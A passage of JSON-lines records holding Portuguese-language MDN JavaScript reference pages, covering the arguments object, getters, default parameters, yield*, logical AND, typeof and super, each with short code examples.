podem ser passada em um número de variáveis de argumentos. Você pode usar `arguments.length` (en-US) para determinar o número de argumentos passado para a função, e então processar cada argumento usando o objeto `arguments`. Para determinar o número de parâmetros declarados na assinatura (en-US) da função, use a propriedade `Function.length` (en-US).\n\n### Usando typeof com Arguments\n\nO comando `typeof arguments` retorna 'object'.\n\n\n```js\nconsole.log(typeof arguments); // 'object'\n```\n\n\nO `typeof` de argumentos individuais pode ser determinado com o uso do índice.\n\n\n```js\nconsole.log(typeof arguments[0]); //this will return the typeof individual arguments.\n```\n\n### Usando a Sintaxe Spread com Arguments\n\nVocê também pode usar o método `Array.from()` ou o operador spread (en-US) para converter argumentos em um Array real:\n\n\n```js\nvar args = Array.from(arguments);\nvar args = [...arguments];\n```\n\nPropriedades\n------------\n\n`arguments.callee` (en-US)\n\nReferência para a função atualmente em execução.\n\n`arguments.caller`\n\nReferência para a função que invocou a função atualmente em execução.\n\n`arguments.length` (en-US)\n\nReferência para o número de argumentos passados para a função.\n\n`arguments[@@iterator]` (en-US)\n\nRetorna um novo objeto Array Iterator que contém os valores para cada índice dos argumentos.\n\nExemplos\n--------\n\n### Definindo uma função que concatena várias strings\n\nEste exemplo define uma função que concatena várias strings. O único argumento formal para a função é uma string que especifica os caracteres que separam os itens a concatenar. A função é definida como se segue:\n\n\n```js\nfunction myConcat(separator) {\n  var args = Array.prototype.slice.call(arguments, 1);\n  return args.join(separator);\n}\n```\n\n\nVocê pode passar qualquer número de argumentos para essa função e ela cria uma lista usando cada argumento como um item na lista.\n\n\n```js\n// returns \"red, orange, blue\"\nmyConcat(\", \", \"red\", \"orange\", \"blue\");\n\n// returns \"elephant; giraffe; lion; cheetah\"\nmyConcat(\"; \", \"elephant\", \"giraffe\", \"lion\", \"cheetah\");\n\n// returns \"sage. basil. oregano. pepper. parsley\"\nmyConcat(\". \", \"sage\", \"basil\", \"oregano\", \"pepper\", \"parsley\");\n```\n\n### Definindo uma função que cria listas HTML\n\nEste exemplo define uma função que cria uma string contatenado HTML para uma lista. O único argumento formal para a função é uma string que é \"u\" se a lista for desordenada (marcadores), ou \"o\" se a lista for ordenada (numerada). A função é definida como se segue:\n\n\n```js\nfunction list(type) {\n  var result = \"<\" + type + \"l><li>\";\n  var args = Array.prototype.slice.call(arguments, 1);\n  result += args.join(\"</li><li>\");\n  result += \"</li></\" + type + \"l>\"; // end list\n\n  return result;\n}\n```\n\n\nVocê pode passar qualquer número de argumentos para essa função, e ela adiciona cada argumento como um item para uma lista do tipo indicado. Por exemplo:\n\n\n```js\nvar listHTML = list(\"u\", \"One\", \"Two\", \"Three\");\n\n/\\* listHTML is:\n\n\"<ul><li>One</li><li>Two</li><li>Three</li></ul>\"\n\n\\*/\n```\n\n### Rest, default e parâmetros desestruturados\n\nO objeto `arguments` pode ser usado em conjunto com os parâmetros rest, default e destruturados.\n\n\n```js\nfunction foo(...args) {\n  return args;\n}\nfoo(1, 2, 3); // [1,2,3]\n```\n\n\nEnquanto a presença dos parâmetros rest, default, ou desestruturados não alteram o comportamento do objeto `arguments` no código em strict mode, existe uma sutil diferença para o código non-strict.\n\nQuando uma função não-strict **não** contém parâmetros rest, default, ou desestruturados, os valores no objeto `arguments` **modificam** os valores dos argumentos (e vice-versa). Veja o código:\n\n\n```js\nfunction func(a) {\n  arguments[0] = 99; // updating arguments[0] also updates a\n  console.log(a);\n}\nfunc(10); // 99\n```\n\n\ne\n\n\n```js\nfunction func(a) {\n  a = 99; // updating a also updates arguments[0]\n  console.log(arguments[0]);\n}\nfunc(10); // 99\n```\n\n\nQuando uma função não-strict **contém** parâmetros rest, default, ou desestruturados, os valores no objeto `arguments` **não modificam** os valores dos argumentos (e vice-versa). Ao invés disso, eles refletem os argumentos fornecidos no momento da chamada:\n\n\n```js\nfunction func(a = 55) {\n  arguments[0] = 99; // updating arguments[0] does not also update a\n  console.log(a);\n}\nfunc(10); // 10\n```\n\n\ne\n\n\n```js\nfunction func(a = 55) {\n  a = 99; // updating a does not also update arguments[0]\n  console.log(arguments[0]);\n}\nfunc(10); // 10\n```\n\n\ne\n\n\n```js\nfunction func(a = 55) {\n  console.log(arguments[0]);\n}\nfunc(); // undefined\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-arguments-exotic-objects |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function`"}
{"title":"getter - JavaScript","text":"getter\n======\n\nA sintaxe de **get** associa uma propriedade de um objeto a uma função que será chamada quando tal propriedade é acessada.Sintaxe\n-------\n```\n\n{get prop() { ... } }\n{get [expression]() { ... } }\n```\n\n### Parâmetros\n\n`prop`\n\nO nome da propriedade à qual a função dada será associada.\n\nexpression\n\nA partir do ECMAScript 6, você pode também utilizar expressões para um nome computado de uma propriedade para associar à função dada.\n\nDescrição\n---------\n\nÀs vezes é desejável que se permita acesso a uma propriedade que retorna um valor computado dinamicamente, ou você pode querer refletir o status de uma variável interna sem requerer o uso de chamadas de método explícitas. Em Javascript, isso pode ser feito com o uso de um *getter*. Não é possível simultaneamente ter um getter associado a uma propriedade e a mesma possuir um valor, embora seja possível usar um getter e um setter em conjunto para criar algo como uma pseudo-propriedade.\n\nNote o seguinte quando for trabalhar com a sintaxe *get*:\n\n* Pode haver um identificador que seja um número ou uma string;\n* Deve haver exatamente zero parâmetros (veja Incompatible ES5 change: literal getter and setter functions must now have exactly zero or one arguments para mais informações)\n* Não deve haver mais de um getter para a mesma propriedade nem uma propriedade comum como o mesmo nome do getter (`{ get x() { }, get x() { } }` and `{ x: ..., get x() { } }` são proibidos).\n\nUm getter pode ser removido usando o operador `delete.`\n\nExemplos\n--------\n\n### Definindo um getter em novos objetos em inicializadores de objetos\n\nO exemplo abaixo irá criar a pseudo-propriedade `latest` para o objeto `obj`, que irá retornar o último item do array em `log`.\n\n\n```js\nvar log = [\"test\"];\nvar obj = {\n  get latest() {\n    if (log.length == 0) return undefined;\n    return log[log.length - 1];\n  },\n};\nconsole.log(obj.latest); // Retornará \"test\".\n```\n\n\nNote que a tentativa de atribuir um valor a `latest não irá alterá-la.`\n\n### Removendo um getter usando o operador `delete`\n\nSe você quer remover um getter, você pode apenas utilizar `delete.`\n\n\n```js\ndelete obj.latest;\n```\n\n### Definindo um getter em objetos existentes usando `defineProperty`\n\nPara adicionar um getter a um objeto existente a qualquer momento, use `Object.defineProperty()`.\n\n\n```js\nvar o = { a: 0 };\n\nObject.defineProperty(o, \"b\", {\n  get: function () {\n    return this.a + 1;\n  },\n});\n\nconsole.log(o.b); // Executa o getter, que retornará a + 1 (que é 1)\n```\n\n### Usando uma propriedade com nome computado\n\n**Nota:** Propriedades com nome computado são uma tecnologia experimenta, parte da proposta do ECMAScript 6 e não é amplamente suportada pelos navegadores ainda. O exemplo abaixo irá disparar um `SyntaxError em ambientes sem suporte.`\n\n\n```js\nvar expr = \"foo\";\n\nvar obj = {\n  get [expr]() {\n    return \"bar\";\n  },\n};\n\nconsole.log(obj.foo); // \"bar\"\n```\n\n### Smart / self-overwriting / lazy getters\n\nGetters lhe dão uma maneira de definir uma propriedade de um objeto, mas eles não calculam o valor da propriedade até que sejam acessados. Um getter adia o custo de cálculo do valor até que o valor seja necessário e, se nunca o for, você não precisa pagar esse custo.\n\nUma técnica de otimização adicional para atrasar o cálculo do valor de uma propriedade e cacheá-lo para acesso futuro são os **smart ou memoized getters**. O valor é calculado na primeira vez que o getter é invocado, sendo então cacheado para que acessos subsequentes retornem o valor em cache sem recalculá-lo. Isso é util nas seguintes situações:\n\n* Se o cálculo da propriedade é caro (usa muita RAM ou CPU, cria um worker, retorna um arquivo remoto, etc).\n* Se o valor não é necessário agora. Ele será utilizado depois ou, em alguns casos, nem mesmo o será.\n* Se for utilizado, ele será acessado diversas vezes e não há necessidade de recalcular um valor que nunca será alterado, ou não deveria ser recalculado.\n\nIsso significa que você não deveria utilizar um lazy getter para uma propriedade cujo valor você espera mudar, porque o getter nunca irá recalcular o valor.\n\nNo exemplo a seguir, o objeto tem um getter como uma propriedade própria (own property). Ao tentar obter essa propriedade que foi removida, ela será readicionada, mas implicitamente como uma propriedade comum desta vez. Finalmente, o valor será retornado.\n\n\n```js\nget notifier() {\n  delete this.notifier;\n  return this.notifier = document.getElementById(\"bookmarked-notification-anchor\");\n},\n```\n\n\nPara o Firefox, veja também o código do módulo XPCOMUtils.jsm, que define a função defineLazyGetter().\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-method-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* setter\n* `delete` (en-US)\n* `Object.defineProperty()`\n* `Object.prototype.__defineGetter__()`\n* `Object.prototype.__defineSetter__()`\n* Defining Getters and Setters in JavaScript Guide"}
{"title":"Parâmetros Predefinidos - JavaScript","text":"Parâmetros Predefinidos\n=======================\n\n**Os parâmetros predefinidos de uma função** permitem que parâmetros regulares sejam inicializados com com valores iniciais caso `undefined` ou nenhum valor seja passado.\n\nSintaxe\n-------\n```\n\nfunction [nome]([param1[ = valorPredefinido1 ][, ..., paramN[ = valorPredefinidoN ]]]) {\n   instruções\n}\n```\n\nDescrição\n---------\n\nEm JavaScript, os parâmetros de funções tem ``undefined`` como valor predefinido. Contudo, em alguns casos pode ser útil utilizar algum outro valor. É nesta situação em que os parâmetros predefinidos podem ser úteis.\n\nNo passado, a estratégia de definir valores padrão para parâmetros era testar os valores do parâmetros no corpo da função e atribuir um valor se este for **`undefined`.** No exemplo a seguir, se nenhum valor for fornecido para **b** na chamada, este valor será **`undefined`**, quando `a*b` for calculado resultaria em `NaN`. No entanto, isto é capturado na segunda linha definindo um valor padrão para b:\n\n\n```js\nfunction multiply(a, b) {\n  b = typeof b !== \"undefined\" ? b : 1;\n\n  return a \\* b;\n}\n\nmultiply(5, 2); // 10\nmultiply(5, 1); // 5\nmultiply(5); // 5\n```\n\n\nCom o parâmetros predefinidos a checagem no corpo da função nao é mais necessária. Agora você pode simplesmente colocar 1 como valor padrão para `b` na declaração da função:\n\n\n```js\nfunction multiply(a, b = 1) {\n  return a \\* b;\n}\n\nmultiply(5, 2); // 10\nmultiply(5, 1); // 5\nmultiply(5); // 5\n```\n\nExemplos\n--------\n\n### Passando `undefined` vs. outros valores \"falsy\"\n\nNa segunda chamada aqui, mesmo se o segundo argumento é definido explicitamente como `undefined` (com exceção de `null`) quando chamado, o valor para o argumento `num` será o padrão.\n```\n\nfunction test(num = 1) {\n  console.log(typeof num);\n}\n\ntest();          // 'number' (num é definido para 1)\ntest(undefined); // 'number' (num é definido para 1 também)\n\n// teste com outros values \"falsy\":\ntest('');        // 'string' (num é definido para '')\ntest(null);      // 'object' (num é definido para null)\n```\n\n### Avaliado em tempo de chamada\n\nOs parâmetros predefinidos são avaliados no momento da chamada da função, então diferente de ex.: Python, um novo objeto é criado cada vez que a funçao é chamada.\n\n\n```js\nfunction append(value, array = []) {\n  array.push(value);\n  return array;\n}\n\nappend(1); //[1]\nappend(2); //[2], not [1, 2]\n```\n\n\nEste mesmo comportamento é aplicado para funções e variáveis:\n\n\n```js\nfunction callSomething(thing = something()) {\n  return thing;\n}\n\nfunction something() {\n  return \"sth\";\n}\n\ncallSomething(); //sth\n```\n\n### Parâmetros predefinidos estão disponíveis para os parâmetros seguintes à sua definição\n\nParâmetros que já foram avaliados ficam disponíveis para uso para os parâmetros seguintes:\n\n\n```js\nfunction singularAutoPlural(singular, plural = singular+\"s\",\n                            rallyingCry = plural + \" ATTACK!!!\") {\n  return [singular, plural, rallyingCry ];\n}\n\n//[\"Gecko\",\"Geckos\", \"Geckos ATTACK!!!\"]\nsingularAutoPlural(\"Gecko\");\n\n//[\"Fox\",\"Foxes\", \"Foxes ATTACK!!!\"]\nsingularAutoPlural(\"Fox\",\"Foxes\");\n\n//[\"Deer\", \"Deer\", \"Deer ... change.\"]\nsingularAutoPlural(\"Deer\", \"Deer\", \"Deer peaceably and respectfully\n   petition the government for positive change.\")\n```\n\n\nEsta funcionalidade torna-se uma maneira direta e demonstra quantos casos extremos são manipulados.\n\n\n```js\nfunction go() {\n  return \":P\";\n}\n\nfunction withDefaults(\n  a,\n b = 5,\n c = b,\n d = go(),\n e = this,\n f = arguments,\n g = this.value,\n) {\n  return [a, b, c, d, e, f, g];\n}\nfunction withoutDefaults(a, b, c, d, e, f, g) {\n  switch (arguments.length) {\n    case 0:\n      a;\n    case 1:\n      b = 5;\n    case 2:\n      c = b;\n    case 3:\n      d = go();\n    case 4:\n      e = this;\n    case 5:\n      f = arguments;\n    case 6:\n      g = this.value;\n    default:\n  }\n  return [a, b, c, d, e, f, g];\n}\n\nwithDefaults.call({ value: \"=^\\_^=\" });\n// [undefined, 5, 5, \":P\", window, arguments, \"=^\\_^=\"]\n\nwithoutDefaults.call({ value: \"=^\\_^=\" });\n// [undefined, 5, 5, \":P\", window, arguments, \"=^\\_^=\"]\n```\n\n### Funções definidadas dentro do corpo da função\n\nIntroduzido no Gecko 33. Funções declaradas no corpo da função não podem ser referenciada dentro de parâmetos padrão e lançará um `ReferenceError` (atualmente um `TypeError` no SpiderMonkey, veja Erro do Firefox 1022967). Parâmetros padrão são sempre executados primeiro, declarações de funções dentro do corpo de outra função são avaliadas depois.\n\n\n```js\n// Não funciona! Throws ReferenceError.\nfunction f(a = go()) {\n  function go() {\n    return \":P\";\n  }\n}\n```\n\n### Parâmetros sem valor padrão depois de parâmetros com valores padrão\n\nAntes do Gecko 26, o seguinte código resultaria em um `SyntaxError` (en-US). Isto foi corrigido no Erro do Firefox 777060 e funciona como esperado em versões posteriores:\n\n\n```js\nfunction f(x = 1, y) {\n  return [x, y];\n}\n\nf(); // [1, undefined]\n```\n\n### Parâmetro desestruturado com valores padrões\n\nÉ possível definir valores padrões com a notação destructuring assignment:\n\n\n```js\nfunction f([x, y] = [1, 2], { z: z } = { z: 3 }) {\n  return x + y + z;\n}\n\nf(); // 6\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Original proposal at ecmascript.org"}
{"title":"yield* - JavaScript","text":"yield\\*\n=======\n\nA **expressão `yield*`** é usada para delegar para outro objeto `generator` ou iterable.\n\nSintaxe\n-------\n```\n\n yield* [[expressão]];\n```\n\n\n`expressão`\n\nA expressão que retorna um objeto iterable.\n\nDescrição\n---------\n\nA expressão `yield*` itera sobre a operação e yields cada valor retornado por ele.\n\nO valor da expressão `yield*` sozinha é o valor retornado pelo iterator quando ele for fechado (i.e., quando `done` é `true`).\n\nExemplos\n--------\n\n### Delegando para outro generator\n\nNo código seguinte, valores \"yeldados\" por `g1()` são retornados por `next()` chamam apenas os que foram \"yeldados\" por `g2()`.\n\n\n```js\nfunction\\* g1() {\n  yield 2;\n  yield 3;\n  yield 4;\n}\n\nfunction\\* g2() {\n  yield 1;\n  yield\\* g1();\n  yield 5;\n}\n\nvar iterator = g2();\n\nconsole.log(iterator.next()); // {value: 1, done: false}\nconsole.log(iterator.next()); // {value: 2, done: false}\nconsole.log(iterator.next()); // {value: 3, done: false}\nconsole.log(iterator.next()); // {value: 4, done: false}\nconsole.log(iterator.next()); // {value: 5, done: false}\nconsole.log(iterator.next()); // {value: undefined, done: true}\n```\n\n### Outros objetos Iterables\n\nAlém de objetos generator, `yield*` também podem `yield` outros tipos de objetos iterables, e.g. arrays, strings ou objetos de argumentos.\n\n\n```js\nfunction\\* g3() {\n  yield\\* [1, 2];\n  yield\\* \"34\";\n  yield\\* Array.from(arguments);\n}\n\nvar iterator = g3(5, 6);\n\nconsole.log(iterator.next()); // {value: 1, done: false}\nconsole.log(iterator.next()); // {value: 2, done: false}\nconsole.log(iterator.next()); // {value: \"3\", done: false}\nconsole.log(iterator.next()); // {value: \"4\", done: false}\nconsole.log(iterator.next()); // {value: 5, done: false}\nconsole.log(iterator.next()); // {value: 6, done: false}\nconsole.log(iterator.next()); // {value: undefined, done: true}\n```\n\n### O valor da expressão `yield*` sozinha\n\n`yield*` é uma expressão, não uma declaração, então ele espera um valor.\n\n\n```js\nfunction\\* g4() {\n  yield\\* [1, 2, 3];\n  return \"foo\";\n}\n\nvar result;\n\nfunction\\* g5() {\n  result = yield\\* g4();\n}\n\nvar iterator = g5();\n\nconsole.log(iterator.next()); // {value: 1, done: false}\nconsole.log(iterator.next()); // {value: 2, done: false}\nconsole.log(iterator.next()); // {value: 3, done: false}\nconsole.log(iterator.next()); // {value: undefined, done: true},\n// g4() returned {value: 'foo', done: true} nesse ponto\n\nconsole.log(result); // \"foo\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-generator-function-definitions-runtime-semantics-evaluation |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas do Firefox\n----------------------------\n\n* A partir do Gecko 33, o tratamento da expressão yield foi atualizado para se conformar com a espeficação do ES2015 (Erro do Firefox 981599):\n    + A restrição de linha finalizadora agora está implementada. Nenhuma linha finalizadora entre \"yield\" e \"\\*\" é permitida. Código como o a seguir irá invocar uma exception `SyntaxError` (en-US):\n     js\n    ```js\n    function\\* foo() {\n      yield\n      \\*[];\n    }\n    \n    ```\nVeja também\n-----------\n\n* O protocolo Iterator (en-US)\n* `function*`\n* `function* expression`\n* `yield`"}
{"title":"AND lógico (&&) - JavaScript","text":"AND lógico (&&)\n===============\n\nO operador lógico **AND (`&&`)** (conjunção lógica) para um conjunto de operandos booleanos será `true` se e somente se todos os operandos forem `true`. Caso contrário, será `false`.\n\nGeralmente, o operador retorna o valor do primeiro operando falsy encontrado ao avaliar da esquerda para a direita ou retorna o valor do último operando se todos forem truthy.\n\nExemplo\n-------\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nexpr1 && expr2\n```\n\nDescrição\n---------\n\nO AND lógico (`&&`) avalia operandos da esquerda para a direita, retornando imediatamente com o valor do primeiro operando falsy que encontrar; se todos os valores forem truthy, o valor do último operando é retornado.\n\nSe um valor puder ser convertido em `true`, o valor é denominado como truthy. Se um valor puder ser convertido em `false`, então valor será denominado falsy.\n\nExemplos de expressões que podem ser convertidas em `false` são:\n\n* `false`;\n* `null`;\n* `NaN`;\n* `0`;\n* string vazia (`\"\"` ou `''` ou ````);\n* `undefined`.\n\nO operador AND lógico (`&&`) preserva valores não booleanos e os retorna como estão:\n\n\n```js\nresult = \"\" && \"foo\"; // result retorna \"\" (string vazia)\nresult = 2 && 0; // result retorna 0\nresult = \"foo\" && 4; // result retorna 4\n```\n\n\n Mesmo que o operador `&&` possa ser usado com operandos não booleanos, ele ainda é considerado um operador booleano, pois seu valor de retorno sempre pode ser convertido em um boolean primitive.\n Para converter explicitamente seu valor de retorno (ou qualquer expressão em geral) para o valor booleano correspondente, use um double `operador NOT` (en-US) ou o construtor `Boolean` (en-US).\n\n### Avaliação de curto-circuito\n\nA expressão AND lógica é um operador de curto-circuito. Ou seja, à medida que cada operando é convertido em um booleano, se o resultado de uma conversão for `false`, o operador AND para e retorna o valor original desse operando falso; ele **não** avalia nenhum dos operandos restantes.\n\nConsidere o pseudocódigo abaixo.\n```\n\n(alguma expressao falsa aqui) && expr\n```\n\n\nA `expr` **nunca é avaliada** porque o primeiro operando `(alguma expressao falsa aqui)` é avaliado como falsy. Se `expr` for uma função, a função nunca será chamada. Veja o exemplo abaixo:\n\n\n```js\nfunction A() {\n  console.log(\"chamou A\");\n  return false;\n}\nfunction B() {\n  console.log(\"chamou B\");\n  return true;\n}\n\nconsole.log(A() && B());\n// registra \"chamou A\" no console devido à chamada da função A,\n// && é avaliado como false (porque a função A retorna false), então false é registrado no console;\n// o operador AND entra em curto-circuito aqui e ignora a função B\n```\n\n### Operador precedente\n\nO operador AND tem uma precedência maior que o operador OR, o que significa que o operador `&&` é executado antes do operador `||` (consulte precedência de operadores).\n\n\n```js\ntrue || (false && false); // true\ntrue && (false || false); // false\n2 === 3 || (4 < 0 && 1 === 1); // false\n```\n\nExemplos\n--------\n\n### Usando AND\n\nO código a seguir mostra exemplos do operador `&&` (AND lógico).\n\n\n```js\na1 = true && true; // t && t retorna true\na2 = true && false; // t && f retorna false\na3 = false && true; // f && t retorna false\na4 = false && 3 === 4; // f && f retorna false\na5 = \"Cat\" && \"Dog\"; // t && t retorna \"Dog\"\na6 = false && \"Cat\"; // f && t retorna false\na7 = \"Cat\" && false; // t && f retorna false\na8 = \"\" && false; // f && f retorna \"\"\na9 = false && \"\"; // f && f retorna false\n```\n\n### Regras de conversão para booleanos\n\n#### Convertendo AND para OR\n\nA seguinte operação envolvendo **booleanos**:\n\n\n```js\nbCondition1 && bCondition2\n```\n\n\né sempre igual a:\n\n\n```js\n!(!bCondition1 || !bCondition2)\n```\n\n\n#### Convertendo OR para AND\n\nA seguinte operação envolvendo **booleanos**:\n\n\n```js\nbCondition1 || bCondition2\n```\n\n\né sempre igual a:\n\n\n```js\n!(!bCondition1 && !bCondition2)\n```\n\n### Removendo parênteses aninhados\n\nComo as expressões lógicas são avaliadas da esquerda para a direita, sempre é possível remover os parênteses de uma expressão complexa desde que certas regras sejam seguidas.\n\nA seguinte operação composta envolvendo **booleanos**:\n\n\n```js\nbCondition1 || (bCondition2 && bCondition3)\n```\n\n\né sempre igual a:\n\n\n```js\nbCondition1 || bCondition2 && bCondition3\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # prod-LogicalANDExpression |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Boolean`\n* Truthy\n* Falsy"}
{"title":"typeof - JavaScript","text":"typeof\n======\n\nSumário\n-------\n\nO operador `typeof` retorna uma string indicando o tipo de um operando.\n\nSintaxe\n-------\n\nO operador `typeof` pode ser utilizado das seguintes maneiras:\n```\n\ntypeof operando\n```\n\n### Parâmetros\n\n`operand`o é a string, variável, keyword, ou objeto para que o tipo do mesmo seja retornado. O uso de parênteses é opcional.\n\nDescrição\n---------\n\nEsta tabela resume os possíveis valores que são retornados pelo `typeof`:\n\n| Tipo | Resultado |\n| --- | --- |\n| Undefined | `\"undefined\"` |\n| Null | `\"object\"` |\n| Boolean | `\"boolean\"` |\n| Number | `\"number\"` |\n| String | `\"string\"` |\n| Host object (provided by the JS environment) | *Implementation-dependent* |\n| Function object (implements [[Call]] in ECMA-262 terms) | `\"function\"` |\n| E4X XML object | \"xml\" |\n| E4X XMLList object | \"xml\" |\n| Qualquer outro objeto | `\"object\"` |\n\nExemplos\n--------\n\n### Casos comuns\n\n\n```js\n// Números - Numéricos\ntypeof 37 === \"number\";\ntypeof 3.14 === \"number\";\ntypeof Math.LN2 === \"number\";\ntypeof Infinity === \"number\";\ntypeof NaN === \"number\"; // Apesar de ser \"Não-Numérico\"\ntypeof Number(1) === \"number\"; // mas nunca utilize desta forma!\n\n// Strings - Seqüências de caracteres\ntypeof \"\" === \"string\";\ntypeof \"bla\" === \"string\";\ntypeof typeof 1 === \"string\"; // typeof sempre retorna uma string\ntypeof String(\"abc\") === \"string\"; // mas nunca utilize desta forma!\n\n// Booleans - Lógicos booleanos\ntypeof true === \"boolean\";\ntypeof false === \"boolean\";\ntypeof Boolean(true) === \"boolean\"; // mas nunca utilize desta forma!\n\n// Undefined - Indefinidos\ntypeof undefined === \"undefined\";\ntypeof blabla === \"undefined\"; // uma variável indefinida\n\n// Objetos\ntypeof { a: 1 } === \"object\";\ntypeof [1, 2, 4] === \"object\"; // use Array.isArray ou Object.prototype.toString.call para diferenciar os objetos das arrays\ntypeof new Date() === \"object\";\n\ntypeof new Boolean(true) === \"object\"; // isto é confuso, portanto não use desta forma!\ntypeof new Number(1) === \"object\"; // isto é confuso, portanto não use desta forma!\ntypeof new String(\"abc\") === \"object\"; // isso também é confuso, assim evite usar esta construção!\n\n// Funções\ntypeof function () {} === \"function\";\ntypeof Math.sin === \"function\";\n```\n\n### `null`\n\n\n```js\n// Desde os primóridos do JavaScript\ntypeof null === \"object\";\n```\n\n\nNa primeira implementação do JavaScript, valores em JavaScript foram representados com uma tag (etiqueta) de tipo e um valor. A tag de tipo para objetos foi 0. `null` foi representada com o ponteiro NULL (0x00 na maioria das plataformas). Consequentemente, null teve 0 como sua tag de tipo, portanto o `typeof` retorna esse valor. (necessário referência)\n\nEstá previsto para ser corrigido na próxima versão do ECMAScript (que estará disponível através de um opt-in). Isso resultará em um `typeof null === 'null'`.\n\n### Expressões regulares\n\nExpressões regulares que podem ser chamadas foram uma adição não-padrão em alguns browsers (necessidade de referência para dizer qual).\n\n\n```js\ntypeof /s/ === \"function\"; // Chrome 1-12 ... // Não-conforme no ECMAScript 5.1\ntypeof /s/ === \"object\"; // Firefox 5+ ... // Conforme no ECMAScript 5.1\n```\n\n### Outras peculiaridades\n\n#### `alert` versões antigas do Internet Explorer\n\nNo IE 6, 7 e 8, `typeof alert === 'object'`\n\nEspecificação\n-------------\n\nECMA-262 section 11.4.3\n\nVeja também\n-----------\n\n* instanceof (en-US)"}
{"title":"super - JavaScript","text":"super\n=====\n\nA palavra-chave **super** é usada para acessar o objeto pai de um objeto, em outros casos, é usada para acessar a classe pai de uma classe.\n\nSíntaxe\n-------\n```\n\n// chama o objeto (ou construtor) pai\nsuper(...[arguments]);\n// chama um método da classe/objeto pai\nsuper.metodo([arguments]);\n```\n\nDescrição\n---------\n\nQuando usada no construtor de uma classe, a palavra-chave `super` deve ser usada apenas uma vez, e precisa ser usada antes que a palavra-chave `this` possa ser usada. Essa palavra-chave também pode ser usada para chamar uma função ou objeto pai.\n\nExemplo\n-------\n\n### Usando `super` em classes\n\nEsse trecho de código foi obtido através de classes sample (demonstração). Aqui `super()` é chamado para evitar duplicar a parte do construtor que é comum entre `Polygon` e `Square`.\n\n\n```js\nclass Polygon {\n  constructor(height, width) {\n    this.name = \"Polygon\";\n    this.height = height;\n    this.width = width;\n  }\n  sayName() {\n    console.log(\"Hi, I am a \", this.name + \".\");\n  }\n}\n\nclass Square extends Polygon {\n  constructor(length) {\n    this.height; // ReferenceError, precisa chamar o super primeiro!\n\n    // Aqui, ele chama a classe construtora pai com o tamanho\n    // provido pelo Polygon -> width e height\n    super(length, length);\n\n    // Nota: Em classes derivadas, super() deve ser chamado antes de\n    // usar this. Deixar isso de fora vai causar um ReferenceError.\n    this.name = \"Square\";\n  }\n\n  get area() {\n    return this.height \\* this.width;\n  }\n\n  set area(value) {\n    this.area = value;\n  }\n}\n```\n\n### Super chamando métodos estáticos\n\nVocê também pode chamar o super em métodos estáticos.\n\n\n```js\nclass Human {\n  constructor() {}\n  static ping() {\n    return \"ping\";\n  }\n}\n\nclass Computer extends Human {\n  constructor() {}\n  static pingpong() {\n    return super.ping() + \" pong\";\n  }\n}\nComputer.pingpong(); // 'ping pong'\n```\n\n### Ao deletar propriedades do super, será emitido um erro\n\nVocê não pode utilizar o delete operator (en-US) e `super.prop` ou `super[expr]` para deletar uma propriedade da classe pai. Isto emitirá um `ReferenceError`.\n\n\n```js\nclass Base {\n  constructor() {}\n  foo() {}\n}\nclass Derived extends Base {\n  constructor() {}\n  delete() {\n    delete super.foo;\n  }\n}\n\nnew Derived().delete(); // ReferenceError: invalid delete involving 'super'.\n```\n\n### `Super.prop` não pode sobrescrever propriedades não editáveis\n\n`super`não pode sobrescrever o valor de uma propriedade quando esta houver sido definida como não editável ('writable: false') com, e.g., `Object.defineProperty`.\n\n\n```js\nclass X {\n  constructor() {\n    Object.defineProperty(this, \"prop\", {\n      configurable: true,\n      writable: false,\n      value: 1,\n    });\n  }\n  f() {\n    super.prop = 2;\n  }\n}\n\nvar x = new X();\nx.f();\nconsole.log(x.prop); // 1\n```\n\n### Usando `super.prop` em objetos literais\n\n`super` também pode ser usado na inicialização da notação literal de objetos. No exemplo abaixo, cada objeto define um método. No segundo objeto, `super` chama o método do primeiro objeto. Isso funciona graças ao `Object.setPrototypeOf()`, com o qual é possível configurar o prototype do `obj2` para o `obj1`, tornando o `super` capaz de encontrar o `method1()` por meio do `obj2`.\n\n\n```js\nvar obj1 = {\n  method1() {\n    console.log(\"method 1\");\n  },\n};\n\nvar obj2 = {\n  method2() {\n    super.method1();\n  },\n};\n\nObject.setPrototypeOf(obj2, obj1);\nobj2.method2(); // retorna \"method 1\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-super-keyword |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas Gecko específicas\n-----------------------\n\n* `super()` ainda não funciona como esperado para prototypes nativos.\nVeja mais\n---------\n\n* Classes"}
